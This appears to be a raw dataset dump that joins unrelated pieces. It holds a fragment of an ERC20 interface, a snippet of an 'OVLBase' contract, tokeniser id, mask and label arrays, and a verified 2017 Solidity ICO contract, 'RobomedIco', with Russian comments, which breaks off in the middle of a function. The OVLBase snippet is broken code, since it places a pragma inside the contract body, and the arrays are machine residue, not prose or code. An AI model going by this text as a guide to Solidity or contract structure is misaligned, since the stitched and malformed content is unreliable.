account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); }
Shared state begin v0 Shared state end of v0
contract OVLBase { mapping (address => VestingTransaction[QTY_EPOCHS]) public vestingTransactions; mapping (address => UserInformation) internal _userInformation; mapping (address => uint256) internal _maxPossibleBalances; mapping (address => mapping (address => uint256)) internal _allowances; address public distributor; uint256 public lpTokensInPair; bool public liquidityRebasingPermitted; uint256 [72] private _gap; pragma abicoder v2; }
10,423,810
[ 1, 7887, 919, 2376, 331, 20, 10314, 919, 679, 434, 331, 20, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 531, 58, 48, 2171, 288, 203, 565, 2874, 261, 2867, 516, 776, 10100, 3342, 63, 53, 5538, 67, 41, 30375, 55, 5717, 1071, 331, 10100, 14186, 31, 203, 565, 2874, 261, 2867, 516, 2177, 5369, 13, 2713, 389, 1355, 5369, 31, 203, 377, 203, 565, 2874, 261, 2867, 516, 2254, 5034, 13, 2713, 389, 1896, 13576, 38, 26488, 31, 203, 565, 2874, 261, 2867, 516, 2874, 261, 2867, 516, 2254, 5034, 3719, 2713, 389, 5965, 6872, 31, 203, 203, 565, 1758, 1071, 1015, 19293, 31, 203, 565, 2254, 5034, 1071, 12423, 5157, 382, 4154, 31, 203, 565, 1426, 1071, 4501, 372, 24237, 426, 9157, 310, 31465, 31, 203, 203, 565, 2254, 5034, 306, 9060, 65, 3238, 389, 14048, 31, 203, 683, 9454, 1223, 335, 5350, 331, 22, 31, 203, 97, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//Address: 0xA5d1e58ECe1fC438d64E65769d2ab730143a4Caf //Contract name: RobomedIco //Balance: 555.251988902432127803 Ether //Verification Date: 10/24/2017 //Transacion Count: 1252 // CODE STARTS HERE pragma solidity ^0.4.11; /** * @title Math * @dev Assorted math operations y */ library Math { function max64(uint64 a, uint64 b) internal pure returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal pure returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant public returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant public returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC223 { uint public totalSupply; function balanceOf(address who) constant public returns (uint); function name() constant public returns (string _name); function symbol() constant public returns (string _symbol); function decimals() constant public returns (uint8 _decimals); function totalSupply() constant public returns (uint256 _supply); function transfer(address to, uint value) public returns (bool ok); function transfer(address to, uint value, bytes data) public returns (bool ok); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } /* * Contract that is working with ERC223 tokens */ contract ContractReceiver { string public functionName; address public sender; uint public value; bytes public data; function tokenFallback(address _from, uint _value, bytes _data) public { sender = _from; value = _value; data = _data; functionName = "tokenFallback"; //uint32 u = uint32(_data[3]) + (uint32(_data[2]) << 8) + (uint32(_data[1]) << 16) + (uint32(_data[0]) << 24); //tkn.sig = bytes4(u); /* tkn variable is analogue of msg variable of Ether transaction * tkn.sender is person who initiated this token transaction (analogue of msg.sender) * tkn.value the number of tokens that were sent (analogue of msg.value) * tkn.data is data of token transaction (analogue of msg.data) * tkn.sig is 4 bytes signature of function * if data of token transaction is a function execution */ } function customFallback(address _from, uint _value, bytes _data) public { tokenFallback(_from, _value, _data); functionName = "customFallback"; } } contract RobomedIco is ERC223, ERC20 { using SafeMath for uint256; string public name = "RobomedToken"; string public symbol = "RBM"; uint8 public decimals = 18; //addresses /* * ADDR_OWNER - владелец контракта - распределяет вип токены, начисляет баунти и team, осуществляет переход по стадиям */ address public constant ADDR_OWNER = 0x21F6C4D926B705aD244Ec33271559dA8c562400F; /* * ADDR_WITHDRAWAL1, ADDR_WITHDRAWAL2 - участники контракта, которые совместно выводят eth после наступления PostIco */ address public constant ADDR_WITHDRAWAL1 = 0x0dD97e6259a7de196461B36B028456a97e3268bE; /* * ADDR_WITHDRAWAL1, ADDR_WITHDRAWAL2 - участники контракта, которые совместно выводят eth после наступления PostIco */ address public constant ADDR_WITHDRAWAL2 = 0x8c5B02144F7664D37FDfd4a2f90148d08A04838D; /** * Адрес на который кладуться токены для раздачи по Baunty */ address public constant ADDR_BOUNTY_TOKENS_ACCOUNT = 0x6542393623Db0D7F27fDEd83e6feDBD767BfF9b4; /** * Адрес на который кладуться токены для раздачи Team */ address public constant ADDR_TEAM_TOKENS_ACCOUNT = 0x28c6bCAB2204CEd29677fEE6607E872E3c40d783; //VipPlacement constants /** * Количество токенов для стадии VipPlacement */ uint256 public constant INITIAL_COINS_FOR_VIPPLACEMENT =507937500 * 10 ** 18; /** * Длительность стадии VipPlacement */ uint256 public constant DURATION_VIPPLACEMENT = 1 seconds;// 1 minutes;// 1 days; //end VipPlacement constants //PreSale constants /** * Количество токенов для стадии PreSale */ uint256 public constant EMISSION_FOR_PRESALE = 76212500 * 10 ** 18; /** * Длительность стадии PreSale */ uint256 public constant DURATION_PRESALE = 1 days;//2 minutes;//1 days; /** * Курс стадии PreSale */ uint256 public constant RATE_PRESALE = 2702; //end PreSale constants //SaleStage1 constants /** * Общая длительность стадий Sale с SaleStage1 по SaleStage7 включительно */ uint256 public constant DURATION_SALESTAGES = 10 days; //2 minutes;//30 days; /** * Курс стадии SaleStage1 */ uint256 public constant RATE_SALESTAGE1 = 2536; /** * Эмиссия токенов для стадии SaleStage1 */ uint256 public constant EMISSION_FOR_SALESTAGE1 = 40835000 * 10 ** 18; //end SaleStage1 constants //SaleStage2 constants /** * Курс стадии SaleStage2 */ uint256 public constant RATE_SALESTAGE2 = 2473; /** * Эмиссия токенов для стадии SaleStage2 */ uint256 public constant EMISSION_FOR_SALESTAGE2 = 40835000 * 10 ** 18; //end SaleStage2 constants //SaleStage3 constants /** * Курс стадии SaleStage3 */ uint256 public constant RATE_SALESTAGE3 = 2390; /** * Эмиссия токенов для стадии SaleStage3 */ uint256 public constant EMISSION_FOR_SALESTAGE3 = 40835000 * 10 ** 18; //end SaleStage3 constants //SaleStage4 constants /** * Курс стадии SaleStage4 */ uint256 public constant RATE_SALESTAGE4 = 2349; /** * Эмиссия токенов для стадии SaleStage4 */ uint256 public constant EMISSION_FOR_SALESTAGE4 = 40835000 * 10 ** 18; //end SaleStage4 constants //SaleStage5 constants /** * Курс стадии SaleStage5 */ uint256 public constant RATE_SALESTAGE5 = 2286; /** * Эмиссия токенов для стадии SaleStage5 */ uint256 public constant EMISSION_FOR_SALESTAGE5 = 40835000 * 10 ** 18; //end SaleStage5 constants //SaleStage6 constants /** * Курс стадии SaleStage6 */ uint256 public constant RATE_SALESTAGE6 = 2224; /** * Эмиссия токенов для стадии SaleStage6 */ uint256 public constant EMISSION_FOR_SALESTAGE6 = 40835000 * 10 ** 18; //end SaleStage6 constants //SaleStage7 constants /** * Курс стадии SaleStage7 */ uint256 public constant RATE_SALESTAGE7 = 2182; /** * Эмиссия токенов для стадии SaleStage7 */ uint256 public constant EMISSION_FOR_SALESTAGE7 = 40835000 * 10 ** 18; //end SaleStage7 constants //SaleStageLast constants /** * Длительность стадии SaleStageLast */ uint256 public constant DURATION_SALESTAGELAST = 1 days;// 20 minutes;//10 days; /** * Курс стадии SaleStageLast */ uint256 public constant RATE_SALESTAGELAST = 2078; /** * Эмиссия токенов для стадии SaleStageLast */ uint256 public constant EMISSION_FOR_SALESTAGELAST = 302505000 * 10 ** 18; //end SaleStageLast constants //PostIco constants /** * Длительность периода на который нельзя использовать team токены, полученные при распределении */ uint256 public constant DURATION_NONUSETEAM = 180 days;//10 days; /** * Длительность периода на который нельзя восстановить нераспроданные unsoldTokens токены, * отсчитывается после наступления PostIco */ uint256 public constant DURATION_BEFORE_RESTORE_UNSOLD = 270 days; //end PostIco constants /** * Эмиссия токенов для BOUNTY */ uint256 public constant EMISSION_FOR_BOUNTY = 83750000 * 10 ** 18; /** * Эмиссия токенов для TEAM */ uint256 public constant EMISSION_FOR_TEAM = 418750000 * 10 ** 18; /** * Кол-во токенов, которое будет начислено каждому участнику команды */ uint256 public constant TEAM_MEMBER_VAL = 2000000 * 10 ** 18; /** * Перечисление состояний контракта */ enum IcoStates { /** * Состояние для которого выполняется заданная эмиссия на кошелёк владельца, * далее все выпущенные токены распределяются владельцем из своего кошелька на произвольные кошельки, распределение может происходить всегда. * Владелец не может распределить из своего кошелька, количество превышающее INITIAL_COINS_FOR_VIPPLACEMENT до прекращения ICO * Состояние завершается по наступлению времени endDateOfVipPlacement */ VipPlacement, /** * Состояние для которого выполняется заданная эмиссия в свободный пул freeMoney. * далее все выпущенные свободные токены покупаются всеми желающими вплоть до endDateOfPreSale, * не выкупленные токены будут уничтожены * Состояние завершается по наступлению времени endDateOfPreSale. * С момента наступления PreSale покупка токенов становиться разрешена */ PreSale, /** * Состояние представляющее из себя подстадию продаж, * при наступлении данного состояния выпускается заданное количество токенов, * количество свободных токенов приравнивается к этой эмиссии * Состояние завершается при выкупе всех свободных токенов или по наступлению времени startDateOfSaleStageLast. * Если выкупаются все свободные токены - переход осуществляется на следующую стадию - * например [с SaleStage1 на SaleStage2] или [с SaleStage2 на SaleStage3] * Если наступает время startDateOfSaleStageLast, то независимо от выкупленных токенов переходим на стостояние SaleStageLast */ SaleStage1, /** * Аналогично SaleStage1 */ SaleStage2, /** * Аналогично SaleStage1 */ SaleStage3, /** * Аналогично SaleStage1 */ SaleStage4, /** * Аналогично SaleStage1 */ SaleStage5, /** * Аналогично SaleStage1 */ SaleStage6, /** * Аналогично SaleStage1 */ SaleStage7, /** * Состояние представляющее из себя последнюю подстадию продаж, * при наступлении данного состояния выпускается заданное количество токенов, * количество свободных токенов приравнивается к этой эмиссии, * плюс остатки нераспроданных токенов со стадий SaleStage1,SaleStage2,SaleStage3,SaleStage4,SaleStage5,SaleStage6,SaleStage7 * Состояние завершается по наступлению времени endDateOfSaleStageLast. */ SaleStageLast, /** * Состояние наступающее после завершения Ico, * при наступлении данного состояния свободные токены сохраняются в unsoldTokens, * также происходит бонусное распределение дополнительных токенов Bounty и Team, * С момента наступления PostIco покупка токенов невозможна */ PostIco } /** * Здесь храним балансы токенов */ mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; /** * Здесь храним начисленные премиальные токены, могут быть выведены на кошелёк начиная с даты startDateOfUseTeamTokens */ mapping (address => uint256) teamBalances; /** * Владелец контракта - распределяет вип токены, начисляет баунти и team, осуществляет переход по стадиям, */ address public owner; /** * Участник контракта - выводит eth после наступления PostIco, совместно с withdrawal2 */ address public withdrawal1; /** * Участник контракта - только при его участии может быть выведены eth после наступления PostIco, совместно с withdrawal1 */ address public withdrawal2; /** * Адрес на счёте которого находятся нераспределённые bounty токены */ address public bountyTokensAccount; /** * Адрес на счёте которого находятся нераспределённые team токены */ address public teamTokensAccount; /** *Адрес на который инициирован вывод eth (владельцем) */ address public withdrawalTo; /** * Количество eth который предполагается выводить на адрес withdrawalTo */ uint256 public withdrawalValue; /** * Количество нераспределённых токенов bounty * */ uint256 public bountyTokensNotDistributed; /** * Количество нераспределённых токенов team * */ uint256 public teamTokensNotDistributed; /** * Текущее состояние */ IcoStates public currentState; /** * Количество собранного эфира */ uint256 public totalBalance; /** * Количество свободных токенов (никто ими не владеет) */ uint256 public freeMoney = 0; /** * Общее количество выпущенных токенов * */ uint256 public totalSupply = 0; /** * Общее количество купленных токенов * */ uint256 public totalBought = 0; /** * Количество не распределённых токенов от стадии VipPlacement */ uint256 public vipPlacementNotDistributed; /** * Дата окончания стадии VipPlacement */ uint256 public endDateOfVipPlacement; /** * Дата окончания стадии PreSale */ uint256 public endDateOfPreSale = 0; /** * Дата начала стадии SaleStageLast */ uint256 public startDateOfSaleStageLast; /** * Дата окончания стадии SaleStageLast */ uint256 public endDateOfSaleStageLast = 0; /** * Остаток нераспроданных токенов для состояний с SaleStage1 по SaleStage7, которые переходят в свободные на момент наступления SaleStageLast */ uint256 public remForSalesBeforeStageLast = 0; /** * Дата, начиная с которой можно получить team токены непосредственно на кошелёк */ uint256 public startDateOfUseTeamTokens = 0; /** * Дата, начиная с которой можно восстановить-перевести нераспроданные токены unsoldTokens */ uint256 public startDateOfRestoreUnsoldTokens = 0; /** * Количество нераспроданных токенов на момент наступления PostIco */ uint256 public unsoldTokens = 0; /** * How many token units a buyer gets per wei */ uint256 public rate = 0; /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Throws if called by any account other than the withdrawal1. */ modifier onlyWithdrawal1() { require(msg.sender == withdrawal1); _; } /** * @dev Throws if called by any account other than the withdrawal2. */ modifier onlyWithdrawal2() { require(msg.sender == withdrawal2); _; } /** * Модификатор позволяющий выполнять вызов, * только если состояние PostIco или выше */ modifier afterIco() { require(uint(currentState) >= uint(IcoStates.PostIco)); _; } /** * Модификатор проверяющий допустимость операций transfer */ modifier checkForTransfer(address _from, address _to, uint256 _value) { //проверяем размер перевода require(_value > 0); //проверяем кошелёк назначения require(_to != 0x0 && _to != _from); //на стадиях перед ico переводить может только владелец require(currentState == IcoStates.PostIco || _from == owner); //операции на bounty и team не допустимы до окончания ico require(currentState == IcoStates.PostIco || (_to != bountyTokensAccount && _to != teamTokensAccount)); _; } /** * Событие изменения состояния контракта */ event StateChanged(IcoStates state); /** * Событие покупки токенов */ event Buy(address beneficiary, uint256 boughtTokens, uint256 ethValue); /** * @dev Конструктор */ function RobomedIco() public { //проверяем, что все указанные адреса не равны 0, также они отличаются от создающего контракт //по сути контракт создаёт некое 3-ее лицо не имеющее в дальнейшем ни каких особенных прав //так же действует условие что все перичисленные адреса разные (нельзя быть одновременно владельцем и кошельком для токенов - например) require(ADDR_OWNER != 0x0 && ADDR_OWNER != msg.sender); require(ADDR_WITHDRAWAL1 != 0x0 && ADDR_WITHDRAWAL1 != msg.sender); require(ADDR_WITHDRAWAL2 != 0x0 && ADDR_WITHDRAWAL2 != msg.sender); require(ADDR_BOUNTY_TOKENS_ACCOUNT != 0x0 && ADDR_BOUNTY_TOKENS_ACCOUNT != msg.sender); require(ADDR_TEAM_TOKENS_ACCOUNT != 0x0 && ADDR_TEAM_TOKENS_ACCOUNT != msg.sender); require(ADDR_BOUNTY_TOKENS_ACCOUNT != ADDR_TEAM_TOKENS_ACCOUNT); require(ADDR_OWNER != ADDR_TEAM_TOKENS_ACCOUNT); require(ADDR_OWNER != ADDR_BOUNTY_TOKENS_ACCOUNT); require(ADDR_WITHDRAWAL1 != ADDR_OWNER); require(ADDR_WITHDRAWAL1 != ADDR_BOUNTY_TOKENS_ACCOUNT); require(ADDR_WITHDRAWAL1 != ADDR_TEAM_TOKENS_ACCOUNT); require(ADDR_WITHDRAWAL2 != ADDR_OWNER); require(ADDR_WITHDRAWAL2 != ADDR_BOUNTY_TOKENS_ACCOUNT); require(ADDR_WITHDRAWAL2 != ADDR_TEAM_TOKENS_ACCOUNT); require(ADDR_WITHDRAWAL2 != ADDR_WITHDRAWAL1); //выставляем адреса //test owner = ADDR_OWNER; withdrawal1 = ADDR_WITHDRAWAL1; withdrawal2 = ADDR_WITHDRAWAL2; bountyTokensAccount = ADDR_BOUNTY_TOKENS_ACCOUNT; teamTokensAccount = ADDR_TEAM_TOKENS_ACCOUNT; //устанавливаем начальное значение на предопределённых аккаунтах balances[owner] = INITIAL_COINS_FOR_VIPPLACEMENT; balances[bountyTokensAccount] = EMISSION_FOR_BOUNTY; balances[teamTokensAccount] = EMISSION_FOR_TEAM; //нераспределённые токены bountyTokensNotDistributed = EMISSION_FOR_BOUNTY; teamTokensNotDistributed = EMISSION_FOR_TEAM; vipPlacementNotDistributed = INITIAL_COINS_FOR_VIPPLACEMENT; currentState = IcoStates.VipPlacement; totalSupply = INITIAL_COINS_FOR_VIPPLACEMENT + EMISSION_FOR_BOUNTY + EMISSION_FOR_TEAM; endDateOfVipPlacement = now.add(DURATION_VIPPLACEMENT); remForSalesBeforeStageLast = 0; //set team for members owner = msg.sender; //ildar transferTeam(0xa19DC4c158169bC45b17594d3F15e4dCb36CC3A3, TEAM_MEMBER_VAL); //vova transferTeam(0xdf66490Fe9F2ada51967F71d6B5e26A9D77065ED, TEAM_MEMBER_VAL); //kirill transferTeam(0xf0215C6A553AD8E155Da69B2657BeaBC51d187c5, TEAM_MEMBER_VAL); //evg transferTeam(0x6c1666d388302385AE5c62993824967a097F14bC, TEAM_MEMBER_VAL); //igor transferTeam(0x82D550dC74f8B70B202aB5b63DAbe75E6F00fb36, TEAM_MEMBER_VAL); owner = ADDR_OWNER; } /** * Function to access name of token . */ function name() public constant returns (string) { return name; } /** * Function to access symbol of token . */ function symbol() public constant returns (string) { return symbol; } /** * Function to access decimals of token . */ function decimals() public constant returns (uint8) { return decimals; } /** * Function to access total supply of tokens . */ function totalSupply() public constant returns (uint256) { return totalSupply; } /** * Метод получающий количество начисленных премиальных токенов */ function teamBalanceOf(address _owner) public constant returns (uint256){ return teamBalances[_owner]; } /** * Метод зачисляющий предварительно распределённые team токены на кошелёк */ function accrueTeamTokens() public afterIco { //зачисление возможно только после определённой даты require(startDateOfUseTeamTokens <= now); //добавляем в общее количество выпущенных totalSupply = totalSupply.add(teamBalances[msg.sender]); //зачисляем на кошелёк и обнуляем не начисленные balances[msg.sender] = balances[msg.sender].add(teamBalances[msg.sender]); teamBalances[msg.sender] = 0; } /** * Метод проверяющий возможность восстановления нераспроданных токенов */ function canRestoreUnsoldTokens() public constant returns (bool) { //восстановление возможно только после ico if (currentState != IcoStates.PostIco) return false; //восстановление возможно только после определённой даты if (startDateOfRestoreUnsoldTokens > now) return false; //восстановление возможно только если есть что восстанавливать if (unsoldTokens == 0) return false; return true; } /** * Метод выполняющий восстановление нераспроданных токенов */ function restoreUnsoldTokens(address _to) public onlyOwner { require(_to != 0x0); require(canRestoreUnsoldTokens()); balances[_to] = balances[_to].add(unsoldTokens); totalSupply = totalSupply.add(unsoldTokens); unsoldTokens = 0; } /** * Метод переводящий контракт в следующее доступное состояние, * Для выяснения возможности перехода можно использовать метод canGotoState */ function gotoNextState() public onlyOwner returns (bool) { if (gotoPreSale() || gotoSaleStage1() || gotoSaleStageLast() || gotoPostIco()) { return true; } return false; } /** * Инициация снятия эфира на указанный кошелёк */ function initWithdrawal(address _to, uint256 _value) public afterIco onlyWithdrawal1 { withdrawalTo = _to; withdrawalValue = _value; } /** * Подтверждение снятия эфира на указанный кошелёк */ function approveWithdrawal(address _to, uint256 _value) public afterIco onlyWithdrawal2 { require(_to != 0x0 && _value > 0); require(_to == withdrawalTo); require(_value == withdrawalValue); totalBalance = totalBalance.sub(_value); withdrawalTo.transfer(_value); withdrawalTo = 0x0; withdrawalValue = 0; } /** * Метод проверяющий возможность перехода в указанное состояние */ function canGotoState(IcoStates toState) public constant returns (bool){ if (toState == IcoStates.PreSale) { return (currentState == IcoStates.VipPlacement && endDateOfVipPlacement <= now); } else if (toState == IcoStates.SaleStage1) { return (currentState == IcoStates.PreSale && endDateOfPreSale <= now); } else if (toState == IcoStates.SaleStage2) { return (currentState == IcoStates.SaleStage1 && freeMoney == 0 && startDateOfSaleStageLast > now); } else if (toState == IcoStates.SaleStage3) { return (currentState == IcoStates.SaleStage2 && freeMoney == 0 && startDateOfSaleStageLast > now); } else if (toState == IcoStates.SaleStage4) { return (currentState == IcoStates.SaleStage3 && freeMoney == 0 && startDateOfSaleStageLast > now); } else if (toState == IcoStates.SaleStage5) { return (currentState == IcoStates.SaleStage4 && freeMoney == 0 && startDateOfSaleStageLast > now); } else if (toState == IcoStates.SaleStage6) { return (currentState == IcoStates.SaleStage5 && freeMoney == 0 && startDateOfSaleStageLast > now); } else if (toState == IcoStates.SaleStage7) { return (currentState == IcoStates.SaleStage6 && freeMoney == 0 && startDateOfSaleStageLast > now); } else if (toState == IcoStates.SaleStageLast) { //переход на состояние SaleStageLast возможен только из состояний SaleStages if ( currentState != IcoStates.SaleStage1 && currentState != IcoStates.SaleStage2 && currentState != IcoStates.SaleStage3 && currentState != IcoStates.SaleStage4 && currentState != IcoStates.SaleStage5 && currentState != IcoStates.SaleStage6 && currentState != IcoStates.SaleStage7) return false; //переход осуществляется если на состоянии SaleStage7 не осталось свободных токенов //или на одном из состояний SaleStages наступило время startDateOfSaleStageLast if (!(currentState == IcoStates.SaleStage7 && freeMoney == 0) && startDateOfSaleStageLast > now) { return false; } return true; } else if (toState == IcoStates.PostIco) { return (currentState == IcoStates.SaleStageLast && endDateOfSaleStageLast <= now); } } /** * Fallback функция - из неё по сути просто происходит вызов покупки токенов для отправителя */ function() public payable { buyTokens(msg.sender); } /** * Метод покупки токенов */ function buyTokens(address beneficiary) public payable { require(beneficiary != 0x0); require(msg.value != 0); //нельзя покупать на токены bounty и team require(beneficiary != bountyTokensAccount && beneficiary != teamTokensAccount); //выставляем остаток средств //в процессе покупки будем его уменьшать на каждой итерации - итерация - покупка токенов на определённой стадии //суть - если покупающий переводит количество эфира, //большее чем возможное количество свободных токенов на определённой стадии, //то выполняется переход на следующую стадию (курс тоже меняется) //и на остаток идёт покупка на новой стадии и т.д. //если же в процессе покупке все свободные токены израсходуются (со всех допустимых стадий) //будет выкинуто исключение uint256 remVal = msg.value; //увеличиваем количество эфира пришедшего к нам totalBalance = totalBalance.add(msg.value); //общее количество токенов которые купили за этот вызов uint256 boughtTokens = 0; while (remVal > 0) { //покупать токены можно только на указанных стадиях require( currentState != IcoStates.VipPlacement && currentState != IcoStates.PostIco); //выполняем покупку для вызывающего //смотрим, есть ли у нас такое количество свободных токенов на текущей стадии uint256 tokens = remVal.mul(rate); if (tokens > freeMoney) { remVal = remVal.sub(freeMoney.div(rate)); tokens = freeMoney; } else { remVal = 0; //если остаток свободных токенов меньше чем курс - отдаём их покупателю uint256 remFreeTokens = freeMoney.sub(tokens); if (0 < remFreeTokens && remFreeTokens < rate) { tokens = freeMoney; } } assert(tokens > 0); freeMoney = freeMoney.sub(tokens); totalBought = totalBought.add(tokens); balances[beneficiary] = balances[beneficiary].add(tokens); boughtTokens = boughtTokens.add(tokens); //если покупка была выполнена на любой из стадий Sale кроме последней if ( uint(currentState) >= uint(IcoStates.SaleStage1) && uint(currentState) <= uint(IcoStates.SaleStage7)) { //уменьшаем количество остатка по токенам которые необходимо продать на этих стадиях remForSalesBeforeStageLast = remForSalesBeforeStageLast.sub(tokens); //пробуем перейти между SaleStages transitionBetweenSaleStages(); } } Buy(beneficiary, boughtTokens, msg.value); } /** * Метод выполняющий выдачу баунти-токенов на указанный адрес */ function transferBounty(address _to, uint256 _value) public onlyOwner { //проверяем кошелёк назначения require(_to != 0x0 && _to != msg.sender); //уменьшаем количество нераспределённых bountyTokensNotDistributed = bountyTokensNotDistributed.sub(_value); //переводим с акаунта баунти на акаунт назначения balances[_to] = balances[_to].add(_value); balances[bountyTokensAccount] = balances[bountyTokensAccount].sub(_value); Transfer(bountyTokensAccount, _to, _value); } /** * Метод выполняющий выдачу баунти-токенов на указанный адрес */ function transferTeam(address _to, uint256 _value) public onlyOwner { //проверяем кошелёк назначения require(_to != 0x0 && _to != msg.sender); //уменьшаем количество нераспределённых teamTokensNotDistributed = teamTokensNotDistributed.sub(_value); //переводим с акаунта team на team акаунт назначения teamBalances[_to] = teamBalances[_to].add(_value); balances[teamTokensAccount] = balances[teamTokensAccount].sub(_value); //убираем токены из общего количества выпущенных totalSupply = totalSupply.sub(_value); } /** * Function that is called when a user or another contract wants to transfer funds . */ function transfer(address _to, uint _value, bytes _data) checkForTransfer(msg.sender, _to, _value) public returns (bool) { if (isContract(_to)) { return transferToContract(_to, _value, _data); } else { return transferToAddress(_to, _value, _data); } } /** * @dev transfer token for a specified address * Standard function transfer similar to ERC20 transfer with no _data . * Added due to backwards compatibility reasons . * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint _value) checkForTransfer(msg.sender, _to, _value) public returns (bool) { //standard function transfer similar to ERC20 transfer with no _data //added due to backwards compatibility reasons bytes memory empty; if (isContract(_to)) { return transferToContract(_to, _value, empty); } else { return transferToAddress(_to, _value, empty); } } /** * assemble the given address bytecode. If bytecode exists then the _addr is a contract. */ function isContract(address _addr) private view returns (bool) { uint length; assembly { //retrieve the size of the code on target address, this needs assembly length := extcodesize(_addr) } return (length > 0); } /** * function that is called when transaction target is an address */ function transferToAddress(address _to, uint _value, bytes _data) private returns (bool) { _transfer(msg.sender, _to, _value); Transfer(msg.sender, _to, _value, _data); return true; } /** * function that is called when transaction target is a contract */ function transferToContract(address _to, uint _value, bytes _data) private returns (bool success) { _transfer(msg.sender, _to, _value); ContractReceiver receiver = ContractReceiver(_to); receiver.tokenFallback(msg.sender, _value, _data); Transfer(msg.sender, _to, _value, _data); return true; } function _transfer(address _from, address _to, uint _value) private { require(balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); if (currentState != IcoStates.PostIco) { //общая сумма переводов от владельца (до завершения) ico не может превышать InitialCoinsFor_VipPlacement vipPlacementNotDistributed = vipPlacementNotDistributed.sub(_value); } } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public afterIco returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public afterIco returns (bool) { // To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; 